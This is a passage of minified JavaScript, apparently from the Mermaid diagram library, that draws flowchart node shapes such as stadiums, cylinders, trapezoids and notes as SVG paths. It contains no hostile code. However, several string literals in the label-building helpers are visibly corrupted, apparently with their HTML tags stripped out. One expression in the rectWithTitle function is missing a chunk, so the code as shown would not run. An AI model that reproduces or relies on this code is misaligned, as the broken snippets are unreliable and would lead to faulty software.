Tee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=u/4,f=u+h,{cssStyles:d}=e,p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=[{x:-l/2-l/2*.1,y:-f/2},{x:-l/2-l/2*.1,y:f/2},...Go(-l/2-l/2*.1,f/2,l/2+l/2*.1,f/2,h,.8),{x:l/2+l/2*.1,y:-f/2},{x:-l/2-l/2*.1,y:-f/2},{x:-l/2,y:-f/2},{x:-l/2,y:f/2*1.1},{x:-l/2,y:-f/2}],y=p.polygon(g.map(x=>[x.x,x.y]),m),v=i.insert(()=>y,":first-child");return v.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&v.selectAll("path").attr("style",d),n&&e.look!=="handDrawn"&&v.selectAll("path").attr("style",n),v.attr("transform",`translate(0,${-h/2})`),s.attr("transform",`translate(${-l/2+(e.padding??0)+l/2*.1/2-(a.x-(a.left??0))},${-u/2+(e.padding??0)-h/2-(a.y-(a.top??0))})`),Qe(e,v),e.intersect=function(x){return Xe.polygon(e,g,x)},i}var wee=N(()=>{"use strict";It();Ut();Ht();$t();o(Tee,"linedWaveEdgedRect")});async function kee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=5,f=-l/2,d=-u/2,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{}),y=[{x:f-h,y:d+h},{x:f-h,y:d+u+h},{x:f+l-h,y:d+u+h},{x:f+l-h,y:d+u},{x:f+l,y:d+u},{x:f+l,y:d+u-h},{x:f+l+h,y:d+u-h},{x:f+l+h,y:d-h},{x:f+h,y:d-h},{x:f+h,y:d},{x:f,y:d},{x:f,y:d+h}],v=[{x:f,y:d+h},{x:f+l-h,y:d+h},{x:f+l-h,y:d+u},{x:f+l,y:d+u},{x:f+l,y:d},{x:f,y:d}];e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let x=Vt(y),b=m.path(x,g),T=Vt(v),S=m.path(T,{...g,fill:"none"}),w=i.insert(()=>S,":first-child");return w.insert(()=>b,":first-child"),w.attr("class","basic label-container"),p&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",p),n&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",n),s.attr("transform",`translate(${-(a.width/2)-h-(a.x-(a.left??0))}, ${-(a.height/2)+h-(a.y-(a.top??0))})`),Qe(e,w),e.intersect=function(k){return Xe.polygon(e,y,k)},i}var Eee=N(()=>{"use strict";It();$t();Ht();Ut();o(kee,"multiRect")});async function See(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=u/4,f=u+h,d=-l/2,p=-f/2,m=5,{cssStyles:g}=e,y=Go(d-m,p+f+m,d+l-m,p+f+m,h,.8),v=y?.[y.length-1],x=[{x:d-m,y:p+m},{x:d-m,y:p+f+m},...y,{x:d+l-m,y:v.y-m},{x:d+l,y:v.y-m},{x:d+l,y:v.y-2*m},{x:d+l+m,y:v.y-2*m},{x:d+l+m,y:p-m},{x:d+m,y:p-m},{x:d+m,y:p},{x:d,y:p},{x:d,y:p+m}],b=[{x:d,y:p+m},{x:d+l-m,y:p+m},{x:d+l-m,y:v.y-m},{x:d+l,y:v.y-m},{x:d+l,y:p},{x:d,y:p}],T=Ze.svg(i),S=Je(e,{});e.look!=="handDrawn"&&(S.roughness=0,S.fillStyle="solid");let w=Vt(x),k=T.path(w,S),A=Vt(b),C=T.path(A,S),R=i.insert(()=>k,":first-child");return R.insert(()=>C),R.attr("class","basic label-container"),g&&e.look!=="handDrawn"&&R.selectAll("path").attr("style",g),n&&e.look!=="handDrawn"&&R.selectAll("path").attr("style",n),R.attr("transform",`translate(0,${-h/2})`),s.attr("transform",`translate(${-(a.width/2)-m-(a.x-(a.left??0))}, ${-(a.height/2)+m-h/2-(a.y-(a.top??0))})`),Qe(e,R),e.intersect=function(I){return Xe.polygon(e,x,I)},i}var Cee=N(()=>{"use strict";It();Ut();Ht();$t();o(See,"multiWaveEdgedRectangle")});async function Aee(t,e,{config:{themeVariables:r}}){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n,e.useHtmlLabels||Qt().flowchart?.htmlLabels!==!1||(e.centerLabel=!0);let{shapeSvg:s,bbox:l,label:u}=await ut(t,e,st(e)),h=Math.max(l.width+(e.padding??0)*2,e?.width??0),f=Math.max(l.height+(e.padding??0)*2,e?.height??0),d=-h/2,p=-f/2,{cssStyles:m}=e,g=Ze.svg(s),y=Je(e,{fill:r.noteBkgColor,stroke:r.noteBorderColor});e.look!=="handDrawn"&&(y.roughness=0,y.fillStyle="solid");let v=g.rectangle(d,p,h,f,y),x=s.insert(()=>v,":first-child");return x.attr("class","basic label-container"),m&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",m),i&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",i),u.attr("transform",`translate(${-l.width/2-(l.x-(l.left??0))}, ${-(l.height/2)-(l.y-(l.top??0))})`),Qe(e,x),e.intersect=function(b){return Xe.rect(e,b)},s}var _ee=N(()=>{"use strict";Ht();Ut();$t();It();qn();o(Aee,"note")});async function Dee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.width+e.padding,l=a.height+e.padding,u=s+l,h=.5,f=[{x:u/2,y:0},{x:u,y:-u/2},{x:u/2,y:-u},{x:0,y:-u/2}],d,{cssStyles:p}=e;if(e.look==="handDrawn"){let m=Ze.svg(i),g=Je(e,{}),y=gRe(0,0,u),v=m.path(y,g);d=i.insert(()=>v,":first-child").attr("transform",`translate(${-u/2+h}, ${u/2})`),p&&d.attr("style",p)}else d=Bs(i,u,u,f),d.attr("transform",`translate(${-u/2+h}, ${u/2})`);return n&&d.attr("style",n),Qe(e,d),e.calcIntersect=function(m,g){let y=m.width,v=[{x:y/2,y:0},{x:y,y:-y/2},{x:y/2,y:-y},{x:0,y:-y/2}],x=Xe.polygon(m,v,g);return{x:x.x-.5,y:x.y-.5}},e.intersect=function(m){return this.calcIntersect(e,m)},i}var gRe,Lee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();gRe=o((t,e,r)=>[`M${t+r/2},${e}`,`L${t+r},${e-r/2}`,`L${t+r/2},${e-r}`,`L${t},${e-r/2}`,"Z"].join(" "),"createDecisionBoxPathD");o(Dee,"question")});async function Ree(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0),e?.width??0),u=Math.max(a.height+(e.padding??0),e?.height??0),h=-l/2,f=-u/2,d=f/2,p=[{x:h+d,y:f},{x:h,y:0},{x:h+d,y:-f},{x:-h,y:-f},{x:-h,y:f}],{cssStyles:m}=e,g=Ze.svg(i),y=Je(e,{});e.look!=="handDrawn"&&(y.roughness=0,y.fillStyle="solid");let v=Vt(p),x=g.path(v,y),b=i.insert(()=>x,":first-child");return b.attr("class","basic label-container"),m&&e.look!=="handDrawn"&&b.selectAll("path").attr("style",m),n&&e.look!=="handDrawn"&&b.selectAll("path").attr("style",n),b.attr("transform",`translate(${-d/2},0)`),s.attr("transform",`translate(${-d/2-a.width/2-(a.x-(a.left??0))}, ${-(a.height/2)-(a.y-(a.top??0))})`),Qe(e,b),e.intersect=function(T){return Xe.polygon(e,p,T)},i}var Nee=N(()=>{"use strict";It();Ut();$t();Ht();o(Ree,"rect_left_inv_arrow")});function yRe(t,e){e&&t.attr("style",e)}async function vRe(t){let e=qe(document.createElementNS("http://www.w3.org/2000/svg","foreignObject")),r=e.append("xhtml:div"),n=ge(),i=t.label;t.label&&kn(t.label)&&(i=await kh(t.label.replace(tt.lineBreakRegex,` +`),n));let s='"+i+"";return r.html(sr(s,n)),yRe(r,t.labelStyle),r.style("display","inline-block"),r.style("padding-right","1px"),r.style("white-space","nowrap"),r.attr("xmlns","http://www.w3.org/1999/xhtml"),e.node()}var xRe,kc,aw=N(()=>{"use strict";yr();Xt();gr();pt();tr();o(yRe,"applyStyle");o(vRe,"addHtmlLabel");xRe=o(async(t,e,r,n)=>{let i=t||"";if(typeof i=="object"&&(i=i[0]),vr(ge().flowchart.htmlLabels)){i=i.replace(/\\n|\n/g,"
    "),X.info("vertexText"+i);let a={isNode:n,label:Ji(i).replace(/fa[blrs]?:fa-[\w-]+/g,l=>``),labelStyle:e&&e.replace("fill:","color:")};return await vRe(a)}else{let a=document.createElementNS("http://www.w3.org/2000/svg","text");a.setAttribute("style",e.replace("color:","fill:"));let s=[];typeof i=="string"?s=i.split(/\\n|\n|/gi):Array.isArray(i)?s=i:s=[];for(let l of s){let u=document.createElementNS("http://www.w3.org/2000/svg","tspan");u.setAttributeNS("http://www.w3.org/XML/1998/namespace","xml:space","preserve"),u.setAttribute("dy","1em"),u.setAttribute("x","0"),r?u.setAttribute("class","title-row"):u.setAttribute("class","row"),u.textContent=l.trim(),a.appendChild(u)}return a}},"createLabel"),kc=xRe});async function Mee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let i;e.cssClasses?i="node "+e.cssClasses:i="node default";let a=t.insert("g").attr("class",i).attr("id",e.domId||e.id),s=a.insert("g"),l=a.insert("g").attr("class","label").attr("style",n),u=e.description,h=e.label,f=l.node().appendChild(await kc(h,e.labelStyle,!0,!0)),d={width:0,height:0};if(vr(ge()?.flowchart?.htmlLabels)){let C=f.children[0],R=qe(f);d=C.getBoundingClientRect(),R.attr("width",d.width),R.attr("height",d.height)}X.info("Text 2",u);let p=u||[],m=f.getBBox(),g=l.node().appendChild(await kc(p.join?p.join("
    "):p,e.labelStyle,!0,!0)),y=g.children[0],v=qe(g);d=y.getBoundingClientRect(),v.attr("width",d.width),v.attr("height",d.height);let x=(e.padding||0)/2;qe(g).attr("transform","translate( "+(d.width>m.width?0:(m.width-d.width)/2)+", "+(m.height+x+5)+")"),qe(f).attr("transform","translate( "+(d.width(X.debug("Rough node insert CXC",I),L),":first-child"),k=a.insert(()=>(X.debug("Rough node insert CXC",I),I),":first-child")}else k=s.insert("rect",":first-child"),A=s.insert("line"),k.attr("class","outer title-state").attr("style",n).attr("x",-d.width/2-x).attr("y",-d.height/2-x).attr("width",d.width+(e.padding||0)).attr("height",d.height+(e.padding||0)),A.attr("class","divider").attr("x1",-d.width/2-x).attr("x2",d.width/2+x).attr("y1",-d.height/2-x+m.height+x).attr("y2",-d.height/2-x+m.height+x);return Qe(e,k),e.intersect=function(C){return Xe.rect(e,C)},a}var Iee=N(()=>{"use strict";yr();gr();It();aw();Ut();$t();Ht();Xt();Zd();pt();o(Mee,"rectWithTitle")});function sw(t,e,r,n,i,a,s){let u=(t+r)/2,h=(e+n)/2,f=Math.atan2(n-e,r-t),d=(r-t)/2,p=(n-e)/2,m=d/i,g=p/a,y=Math.sqrt(m**2+g**2);if(y>1)throw new Error("The given radii are too small to create an arc between the points.");let v=Math.sqrt(1-y**2),x=u+v*a*Math.sin(f)*(s?-1:1),b=h-v*i*Math.cos(f)*(s?-1:1),T=Math.atan2((e-b)/a,(t-x)/i),w=Math.atan2((n-b)/a,(r-x)/i)-T;s&&w<0&&(w+=2*Math.PI),!s&&w>0&&(w-=2*Math.PI);let k=[];for(let A=0;A<20;A++){let C=A/19,R=T+C*w,I=x+i*Math.cos(R),L=b+a*Math.sin(R);k.push({x:I,y:L})}return k}async function Oee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=e?.padding??0,l=e?.padding??0,u=(e?.width?e?.width:a.width)+s*2,h=(e?.height?e?.height:a.height)+l*2,f=e.radius||5,d=e.taper||5,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{});e.stroke&&(g.stroke=e.stroke),e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=[{x:-u/2+d,y:-h/2},{x:u/2-d,y:-h/2},...sw(u/2-d,-h/2,u/2,-h/2+d,f,f,!0),{x:u/2,y:-h/2+d},{x:u/2,y:h/2-d},...sw(u/2,h/2-d,u/2-d,h/2,f,f,!0),{x:u/2-d,y:h/2},{x:-u/2+d,y:h/2},...sw(-u/2+d,h/2,-u/2,h/2-d,f,f,!0),{x:-u/2,y:h/2-d},{x:-u/2,y:-h/2+d},...sw(-u/2,-h/2+d,-u/2+d,-h/2,f,f,!0)],v=Vt(y),x=m.path(v,g),b=i.insert(()=>x,":first-child");return b.attr("class","basic label-container outer-path"),p&&e.look!=="handDrawn"&&b.selectChildren("path").attr("style",p),n&&e.look!=="handDrawn"&&b.selectChildren("path").attr("style",n),Qe(e,b),e.intersect=function(T){return Xe.polygon(e,y,T)},i}var Pee=N(()=>{"use strict";It();Ut();$t();Ht();o(sw,"generateArcPoints");o(Oee,"roundedRect")});async function Bee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=e?.padding??0,u=Math.max(a.width+(e.padding??0)*2,e?.width??0),h=Math.max(a.height+(e.padding??0)*2,e?.height??0),f=-a.width/2-l,d=-a.height/2-l,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{});e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=[{x:f,y:d},{x:f+u+8,y:d},{x:f+u+8,y:d+h},{x:f-8,y:d+h},{x:f-8,y:d},{x:f,y:d},{x:f,y:d+h}],v=m.polygon(y.map(b=>[b.x,b.y]),g),x=i.insert(()=>v,":first-child");return x.attr("class","basic label-container").attr("style",Cn(p)),n&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",n),p&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",n),s.attr("transform",`translate(${-u/2+4+(e.padding??0)-(a.x-(a.left??0))},${-h/2+(e.padding??0)-(a.y-(a.top??0))})`),Qe(e,x),e.intersect=function(b){return Xe.rect(e,b)},i}var Fee=N(()=>{"use strict";It();Ut();$t();Ht();tr();o(Bee,"shadedProcess")});async function $ee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=-l/2,f=-u/2,{cssStyles:d}=e,p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=[{x:h,y:f},{x:h,y:f+u},{x:h+l,y:f+u},{x:h+l,y:f-u/2}],y=Vt(g),v=p.path(y,m),x=i.insert(()=>v,":first-child");return x.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",d),n&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",n),x.attr("transform",`translate(0, ${u/4})`),s.attr("transform",`translate(${-l/2+(e.padding??0)-(a.x-(a.left??0))}, ${-u/4+(e.padding??0)-(a.y-(a.top??0))})`),Qe(e,x),e.intersect=function(b){return Xe.polygon(e,g,b)},i}var zee=N(()=>{"use strict";It();Ut();$t();Ht();o($ee,"slopedRect")});async function Gee(t,e){let r={rx:0,ry:0,classes:"",labelPaddingX:e.labelPaddingX??(e?.padding||0)*2,labelPaddingY:(e?.padding||0)*1};return Jd(t,e,r)}var Vee=N(()=>{"use strict";M2();o(Gee,"squareRect")});async function Uee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.height+e.padding,l=a.width+s/4+e.padding,u=s/2,{cssStyles:h}=e,f=Ze.svg(i),d=Je(e,{});e.look!=="handDrawn"&&(d.roughness=0,d.fillStyle="solid");let p=[{x:-l/2+u,y:-s/2},{x:l/2-u,y:-s/2},...Kd(-l/2+u,0,u,50,90,270),{x:l/2-u,y:s/2},...Kd(l/2-u,0,u,50,270,450)],m=Vt(p),g=f.path(m,d),y=i.insert(()=>g,":first-child");return y.attr("class","basic label-container outer-path"),h&&e.look!=="handDrawn"&&y.selectChildren("path").attr("style",h),n&&e.look!=="handDrawn"&&y.selectChildren("path").attr("style",n),Qe(e,y),e.intersect=function(v){return Xe.polygon(e,p,v)},i}var Hee=N(()=>{"use strict";It();Ut();$t();Ht();o(Uee,"stadium")});async function qee(t,e){return Jd(t,e,{rx:5,ry:5,classes:"flowchart-node"})}var Wee=N(()=>{"use strict";M2();o(qee,"state")});function Yee(t,e,{config:{themeVariables:r}}){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n;let{cssStyles:a}=e,{lineColor:s,stateBorder:l,nodeBorder:u}=r,h=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),f=Ze.svg(h),d=Je(e,{});e.look!=="handDrawn"&&(d.roughness=0,d.fillStyle="solid");let p=f.circle(0,0,14,{...d,stroke:s,strokeWidth:2}),m=l??u,g=f.circle(0,0,5,{...d,fill:m,stroke:m,strokeWidth:2,fillStyle:"solid"}),y=h.insert(()=>p,":first-child");return y.insert(()=>g),a&&y.selectAll("path").attr("style",a),i&&y.selectAll("path").attr("style",i),Qe(e,y),e.intersect=function(v){return Xe.circle(e,7,v)},h}var Xee=N(()=>{"use strict";Ht();Ut();$t();It();o(Yee,"stateEnd")});function jee(t,e,{config:{themeVariables:r}}){let{lineColor:n}=r,i=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),a;if(e.look==="handDrawn"){let l=Ze.svg(i).circle(0,0,14,tJ(n));a=i.insert(()=>l),a.attr("class","state-start").attr("r",7).attr("width",14).attr("height",14)}else a=i.insert("circle",":first-child"),a.attr("class","state-start").attr("r",7).attr("width",14).attr("height",14);return Qe(e,a),e.intersect=function(s){return Xe.circle(e,7,s)},i}var Kee=N(()=>{"use strict";Ht();Ut();$t();It();o(jee,"stateStart")});async function Qee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=(e?.padding||0)/2,l=a.width+e.padding,u=a.height+e.padding,h=-a.width/2-s,f=-a.height/2-s,d=[{x:0,y:0},{x:l,y:0},{x:l,y:-u},{x:0,y:-u},{x:0,y:0},{x:-8,y:0},{x:l+8,y:0},{x:l+8,y:-u},{x:-8,y:-u},{x:-8,y:0}];if(e.look==="handDrawn"){let p=Ze.svg(i),m=Je(e,{}),g=p.rectangle(h-8,f,l+16,u,m),y=p.line(h,f,h,f+u,m),v=p.line(h+l,f,h+l,f+u,m);i.insert(()=>y,":first-child"),i.insert(()=>v,":first-child");let x=i.insert(()=>g,":first-child"),{cssStyles:b}=e;x.attr("class","basic label-container").attr("style",Cn(b)),Qe(e,x)}else{let p=Bs(i,l,u,d);n&&p.attr("style",n),Qe(e,p)}return e.intersect=function(p){return Xe.polygon(e,d,p)},i}var Zee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();tr();o(Qee,"subroutine")});async function Jee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+(e.padding??0)*2,e?.width??0),l=Math.max(a.height+(e.padding??0)*2,e?.height??0),u=-s/2,h=-l/2,f=.2*l,d=.2*l,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{}),y=[{x:u-f/2,y:h},{x:u+s+f/2,y:h},{x:u+s+f/2,y:h+l},{x:u-f/2,y:h+l}],v=[{x:u+s-f/2,y:h+l},{x:u+s+f/2,y:h+l},{x:u+s+f/2,y:h+l-d}];e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let x=Vt(y),b=m.path(x,g),T=Vt(v),S=m.path(T,{...g,fillStyle:"solid"}),w=i.insert(()=>S,":first-child");return w.insert(()=>b,":first-child"),w.attr("class","basic label-container"),p&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",p),n&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",n),Qe(e,w),e.intersect=function(k){return Xe.polygon(e,y,k)},i}var ete=N(()=>{"use strict";It();$t();Ht();Ut();o(Jee,"taggedRect")});async function tte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=u/4,f=.2*l,d=.2*u,p=u+h,{cssStyles:m}=e,g=Ze.svg(i),y=Je(e,{});e.look!=="handDrawn"&&(y.roughness=0,y.fillStyle="solid");let v=[{x:-l/2-l/2*.1,y:p/2},...Go(-l/2-l/2*.1,p/2,l/2+l/2*.1,p/2,h,.8),{x:l/2+l/2*.1,y:-p/2},{x:-l/2-l/2*.1,y:-p/2}],x=-l/2+l/2*.1,b=-p/2-d*.4,T=[{x:x+l-f,y:(b+u)*1.4},{x:x+l,y:b+u-d},{x:x+l,y:(b+u)*.9},...Go(x+l,(b+u)*1.3,x+l-f,(b+u)*1.5,-u*.03,.5)],S=Vt(v),w=g.path(S,y),k=Vt(T),A=g.path(k,{...y,fillStyle:"solid"}),C=i.insert(()=>A,":first-child");return C.insert(()=>w,":first-child"),C.attr("class","basic label-container"),m&&e.look!=="handDrawn"&&C.selectAll("path").attr("style",m),n&&e.look!=="handDrawn"&&C.selectAll("path").attr("style",n),C.attr("transform",`translate(0,${-h/2})`),s.attr("transform",`translate(${-l/2+(e.padding??0)-(a.x-(a.left??0))},${-u/2+(e.padding??0)-h/2-(a.y-(a.top??0))})`),Qe(e,C),e.intersect=function(R){return Xe.polygon(e,v,R)},i}var rte=N(()=>{"use strict";It();Ut();Ht();$t();o(tte,"taggedWaveEdgedRectangle")});async function nte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+e.padding,e?.width||0),l=Math.max(a.height+e.padding,e?.height||0),u=-s/2,h=-l/2,f=i.insert("rect",":first-child");return f.attr("class","text").attr("style",n).attr("rx",0).attr("ry",0).attr("x",u).attr("y",h).attr("width",s).attr("height",l),Qe(e,f),e.intersect=function(d){return Xe.rect(e,d)},i}var ite=N(()=>{"use strict";It();Ut();$t();o(nte,"text")});async function ate(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s,halfPadding:l}=await ut(t,e,st(e)),u=e.look==="neo"?l*2:l,h=a.height+u,f=h/2,d=f/(2.5+h/50),p=a.width+d+u,{cssStyles:m}=e,g;if(e.look==="handDrawn"){let y=Ze.svg(i),v=TRe(0,0,p,h,d,f),x=wRe(0,0,p,h,d,f),b=y.path(v,Je(e,{})),T=y.path(x,Je(e,{fill:"none"}));g=i.insert(()=>T,":first-child"),g=i.insert(()=>b,":first-child"),g.attr("class","basic label-container"),m&&g.attr("style",m)}else{let y=bRe(0,0,p,h,d,f);g=i.insert("path",":first-child").attr("d",y).attr("class","basic label-container").attr("style",Cn(m)).attr("style",n),g.attr("class","basic label-container"),m&&g.selectAll("path").attr("style",m),n&&g.selectAll("path").attr("style",n)}return g.attr("label-offset-x",d),g.attr("transform",`translate(${-p/2}, ${h/2} )`),s.attr("transform",`translate(${-(a.width/2)-d-(a.x-(a.left??0))}, ${-(a.height/2)-(a.y-(a.top??0))})`),Qe(e,g),e.intersect=function(y){let v=Xe.rect(e,y),x=v.y-(e.y??0);if(f!=0&&(Math.abs(x)<(e.height??0)/2||Math.abs(x)==(e.height??0)/2&&Math.abs(v.x-(e.x??0))>(e.width??0)/2-d)){let b=d*d*(1-x*x/(f*f));b!=0&&(b=Math.sqrt(Math.abs(b))),b=d-b,y.x-(e.x??0)>0&&(b=-b),v.x+=b}return v},i}var bRe,TRe,wRe,ste=N(()=>{"use strict";It();$t();Ht();Ut();tr();bRe=o((t,e,r,n,i,a)=>`M${t},${e} + a${i},${a} 0,0,1 0,${-n} + l${r},0 + a${i},${a} 0,0,1 0,${n} + M${r},${-n} + a${i},${a} 0,0,0 0,${n} + l${-r},0`,"createCylinderPathD"),TRe=o((t,e,r,n,i,a)=>[`M${t},${e}`,`M${t+r},${e}`,`a${i},${a} 0,0,0 0,${-n}`,`l${-r},0`,`a${i},${a} 0,0,0 0,${n}`,`l${r},0`].join(" "),"createOuterCylinderPathD"),wRe=o((t,e,r,n,i,a)=>[`M${t+r/2},${-n/2}`,`a${i},${a} 0,0,0 0,${n}`].join(" "),"createInnerCylinderPathD");o(ate,"tiltedCylinder")});async function ote(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.width+e.padding,l=a.height+e.padding,u=[{x:-3*l/6,y:0},{x:s+3*l/6,y:0},{x:s,y:-l},{x:0,y:-l}],h,{cssStyles:f}=e;if(e.look==="handDrawn"){let d=Ze.svg(i),p=Je(e,{}),m=Vt(u),g=d.path(m,p);h=i.insert(()=>g,":first-child").attr("transform",`translate(${-s/2}, ${l/2})`),f&&h.attr("style",f)}else h=Bs(i,s,l,u);return n&&h.attr("style",n),e.width=s,e.height=l,Qe(e,h),e.intersect=function(d){return Xe.polygon(e,u,d)},i}var lte=N(()=>{"use strict";It();Ut();$t();Ht();Jh();o(ote,"trapezoid")});async function cte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=60,l=20,u=Math.max(s,a.width+(e.padding??0)*2,e?.width??0),h=Math.max(l,a.height+(e.padding??0)*2,e?.height??0),{cssStyles:f}=e,d=Ze.svg(i),p=Je(e,{});e.look!=="handDrawn"&&(p.roughness=0,p.fillStyle="solid");let m=[{x:-u/2*.8,y:-h/2},{x:u/2*.8,y:-h/2},{x:u/2,y:-h/2*.6},{x:u/2,y:h/2},{x:-u/2,y:h/2},{x:-u/2,y:-h/2*.6}],g=Vt(m),y=d.path(g,p),v=i.insert(()=>y,":first-child");return v.attr("class","basic label-container"),f&&e.look!=="handDrawn"&&v.selectChildren("path").attr("style",f),n&&e.look!=="handDrawn"&&v.selectChildren("path").attr("style",n),Qe(e,v),e.intersect=function(x){return Xe.polygon(e,m,x)},i}var ute=N(()=>{"use strict";It();Ut();$t();Ht();o(cte,"trapezoidalPentagon")});async function hte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=vr(ge().flowchart?.htmlLabels),u=a.width+(e.padding??0),h=u+a.height,f=u+a.height,d=[{x:0,y:0},{x:f,y:0},{x:f/2,y:-h}],{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{});e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=Vt(d),v=m.path(y,g),x=i.insert(()=>v,":first-child").attr("transform",`translate(${-h/2}, ${h/2})`);return p&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",p),n&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",n),e.width=u,e.height=h,Qe(e,x),s.attr("transform",`translate(${-a.width/2-(a.x-(a.left??0))}, ${h/2-(a.height+(e.padding??0)/(l?2:1)-(a.y-(a.top??0)))})`),e.intersect=function(b){return X.info("Triangle intersect",e,d,b),Xe.polygon(e,d,b)},i}var fte=N(()=>{"use strict";pt();It();Ut();$t();Ht();It();gr();Xt();o(hte,"triangle")});async function dte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=u/8,f=u+h,{cssStyles:d}=e,m=70-l,g=m>0?m/2:0,y=Ze.svg(i),v=Je(e,{});e.look!=="handDrawn"&&(v.roughness=0,v.fillStyle="solid");let x=[{x:-l/2-g,y:f/2},...Go(-l/2-g,f/2,l/2+g,f/2,h,.8),{x:l/2+g,y:-f/2},{x:-l/2-g,y:-f/2}],b=Vt(x),T=y.path(b,v),S=i.insert(()=>T,":first-child");return S.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",d),n&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",n),S.attr("transform",`translate(0,${-h/2})`),s.attr("transform",`translate(${-l/2+(e.padding??0)-(a.x-(a.left??0))},${-u/2+(e.padding??0)-h-(a.y-(a.top??0))})`),Qe(e,S),e.intersect=function(w){return Xe.polygon(e,x,w)},i}var pte=N(()=>{"use strict";It();Ut();Ht();$t();o(dte,"waveEdgedRectangle")});async function mte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=100,l=50,u=Math.max(a.width+(e.padding??0)*2,e?.width??0),h=Math.max(a.height+(e.padding??0)*2,e?.height??0),f=u/h,d=u,p=h;d>p*f?p=d/f:d=p*f,d=Math.max(d,s),p=Math.max(p,l);let 